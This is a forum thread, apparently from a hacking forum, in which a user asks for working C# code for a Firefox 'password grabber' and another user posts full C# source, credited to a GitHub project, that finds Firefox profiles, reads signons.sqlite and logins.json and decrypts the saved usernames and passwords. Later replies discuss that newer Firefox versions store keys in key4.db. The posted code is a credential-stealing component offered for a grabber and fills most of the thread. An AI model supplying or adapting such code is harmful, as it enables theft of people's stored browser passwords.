(Jan 9, 2019 03:02 AM)Grooty Wrote:  Hi guys, share the work code of the password grabber with FireFox - Mozilla. Working examples are not found.

I need a C# code.

(Jan 10, 2019 02:58 AM)3DES Wrote:  FF open source, you can directly look at the source and figure out how to decrypt.

(Jan 19, 2019 11:51 AM)Grooty Wrote:  There all the old examples and not working 100 times already checked.

(Jan 19, 2019 01:07 PM)3DES Wrote:  Heard of debugging? nobody is going to do the work for u

(Jan 19, 2019 01:13 PM)realsunjester Wrote:  https://github.com/jabiel/BrowserPass

Code

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Data.SQLite;
using System.IO;

namespace BrowserPass
{
    class FirefoxPassReader : IPassReader
    {
        public string BrowserName { get { return "Firefox"; } }
        public IEnumerable<CredentialModel> ReadPasswords()
        {
            string signonsFile = null;
            string loginsFile = null;
            bool signonsFound = false;
            bool loginsFound = false;
            string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles"));

            var logins = new List<CredentialModel>();
            if (dirs.Length == 0)
                return logins;

            foreach (string dir in dirs)
            {
                string[] files = Directory.GetFiles(dir, "signons.sqlite");
                if (files.Length > 0)
                {
                    signonsFile = files[0];
                    signonsFound = true;
                }

                // find &quot;logins.json"file
                files = Directory.GetFiles(dir, "logins.json");
                if (files.Length > 0)
                {
                    loginsFile = files[0];
                    loginsFound = true;
                }

                if (loginsFound || signonsFound)
                {
                    FFDecryptor.NSS_Init(dir);
                    break;
                }

            }

            if (signonsFound)
            {
                using (var conn = new SQLiteConnection("Data Source=" + signonsFile + ";"))
                {
                    conn.Open();
                    using (var command = conn.CreateCommand())
                    {
                        command.CommandText = "SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins";
                        using (var reader = command.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                string username = FFDecryptor.Decrypt(reader.GetString(0));
                                string password = FFDecryptor.Decrypt(reader.GetString(1));
                                
                                logins.Add(new CredentialModel
                                {
                                    Username = username,
                                    Password = password,
                                    Url = reader.GetString(2)
                                });
                            }
                        }
                    }
                    conn.Close();
                }

            }
            
            if (loginsFound)
            {
                FFLogins ffLoginData;
                using (StreamReader sr = new StreamReader(loginsFile))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonConvert.DeserializeObject<FFLogins>(json);
                }

                foreach (LoginData loginData in ffLoginData.logins)
                {
                    string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
                    string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
                    logins.Add(new CredentialModel
                    {
                        Username = username,
                        Password = password,
                        Url = loginData.hostname
                    });
                }
            }
            return logins;
        }

        class FFLogins
        {
            public long nextId { get; set; }
            public LoginData[] logins { get; set; }
            public string[] disabledHosts { get; set; }
            public int version { get; set; }
        }

        class LoginData
        {
            public long id { get; set; }
            public string hostname { get; set; }
            public string url { get; set; }
            public string httprealm { get; set; }
            public string formSubmitURL { get; set; }
            public string usernameField { get; set; }
            public string passwordField { get; set; }
            public string encryptedUsername { get; set; }
            public string encryptedPassword { get; set; }
            public string guid { get; set; }
            public int encType { get; set; }
            public long timeCreated { get; set; }
            public long timeLastUsed { get; set; }
            public long timePasswordChanged { get; set; }
            public long timesUsed { get; set; }
        }
    }
}

(Jan 20, 2019 05:21 PM)spix Wrote:  I read somewhere that key4.db is in new firefox, you gotta code reader for that.

(Jan 19, 2019 08:04 PM)Vyxn Wrote:  Hope he knew how these things work.

(Jan 21, 2019 03:22 PM)deiski Wrote:  Nice code, however he's going to paste that straight into his Button1 code then proceed to ask why it doesn't work.

(Jan 22, 2019 03:24 AM)Grooty Wrote:  Do you even understand what you said?
Your message is meaningless. Do not flood the empty messages that do not carry any meaning!

(Jan 21, 2019 12:38 AM)Grooty Wrote:  Yes, I'm looking for a working way to get passwords from the new version of Firefox. But they give me links to the old: (